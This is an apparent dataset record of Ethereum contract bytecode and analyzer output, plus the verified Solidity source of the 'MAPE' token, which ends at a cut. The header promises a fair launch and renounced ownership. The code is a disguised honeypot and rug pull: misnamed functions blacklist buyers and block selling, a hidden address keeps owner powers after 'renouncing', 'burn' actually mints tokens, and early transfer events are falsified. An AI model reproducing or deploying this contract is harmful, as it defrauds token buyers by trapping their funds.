ffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c0610a58565b8484610c57565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cb56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bff6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d265750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110265781600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b610ee484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179b565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110cf5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111275750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113e657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611238576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b6112a484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c216026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b61165c84604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f184600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118155780820151818401526020810190506117fa565b50505050905090810190601f1680156118425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61186b610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6f6021913960400191505060405180910390fd5b611a1f81604051806060016040528060228152602001611bdd60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7781600654611b6f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220fbe50db1eb006da1a0d9d9d7b3fee0005fa993002c4ea52ce3258fa34989940064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
10,721
0x1ba567fdb8863611163088c3ce470a3b099390fa
/** *Submitted for verification at Etherscan.io on 2022-03-25 */ /* ▄▄▄▄███▄▄▄▄ ▄█ ███▄▄▄▄ ▄█ ▄████████ ▄███████▄ ▄████████ ▄████████ ▄██▀▀▀███▀▀▀██▄ ███ ███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███▌ ███ ███ ███▌ ███ ███ ███ ███ ███ █▀ ███ █▀ ███ ███ ███ ███▌ ███ ███ ███▌ ███ ███ ███ ███ ▄███▄▄▄ ███ ███ ███ ███ ███▌ ███ ███ ███▌ ▀███████████ ▀█████████▀ ▀▀███▀▀▀ ▀███████████ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ █▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄█ ███ ▀█ ███ █▀ █▀ ▀█ █▀ █▀ ███ █▀ ▄████▀ ██████████ ▄████████▀ MAPES is the official token for the Mini Apes play to earn game. 0% Tax, All funding is provided by the team Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 100% Fair Launch - no presale, no whitelist Team will invest their own money on launch like everyone else More info available on our telegram and website */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract MAPE is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 4500000000000*10**18; string public _name = "MAPE"; string public _symbol= "MAPE"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xb01A6C7AEb0B56518F173F9641c72E757BFab7F8); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611db3565b6104fd565b60405161016e9190611e0c565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190611ec0565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f0e565b6105b4565b6040516101d69190611f69565b60405180910390f35b3480156101eb57600080fd5b50610206600480360381019061020191906120cc565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a9190611e0c565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612115565b610723565b6040516102679190611f69565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612184565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d49190611e0c565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b6004803603810190610316919061219f565b610a53565b6040516103289190611e0c565b60405180910390f35b34801561033d57600080fd5b506103586004803603810190610353919061219f565b610a6b565b6040516103659190611e0c565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b60405161039091906121db565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190611ec0565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f0e565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f919061219f565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f0e565b610e67565b60405161044a9190611f69565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190611ec0565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611417565b6040516104b79190611ec0565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611db3565b6114a5565b6040516104f49190611e0c565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461053190612225565b80601f016020809104026020016040519081016040528092919081815260200182805461055d90612225565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c161152c565b8484611534565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a8612257565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d906122b5565b915050610687565b5050565b6000600654905090565b60006107308484846116ff565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b61152c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290612370565b60405180910390fd5b61080f8561080761152c565b858403611534565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae890612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612225565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123dc565b60405180910390fd5b610c9960008383611d3c565b8060066000828254610cab91906123fc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906123fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d659190611e0c565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e7461152c565b84846116ff565b6001905092915050565b60088054610e9290612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe90612225565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061249e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611534565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906124d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906124d3565b6040518363ffffffff1660e01b81526004016111b5929190612500565b6020604051808303816000875af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906124d3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128130610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112c99695949392919061256e565b60606040518083038185885af11580156112e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130c91906125e4565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d0929190612637565b6020604051808303816000875af11580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061268c565b5050565b6007805461142490612225565b80601f016020809104026020016040519081016040528092919081815260200182805461145090612225565b801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b9061272b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b906127bd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f29190611e0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117669061284f565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117cd57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118715750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cc57600960009054906101000a900460ff16806119345750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061198c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c2906128e1565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611a345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ac257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611acb57600080fd5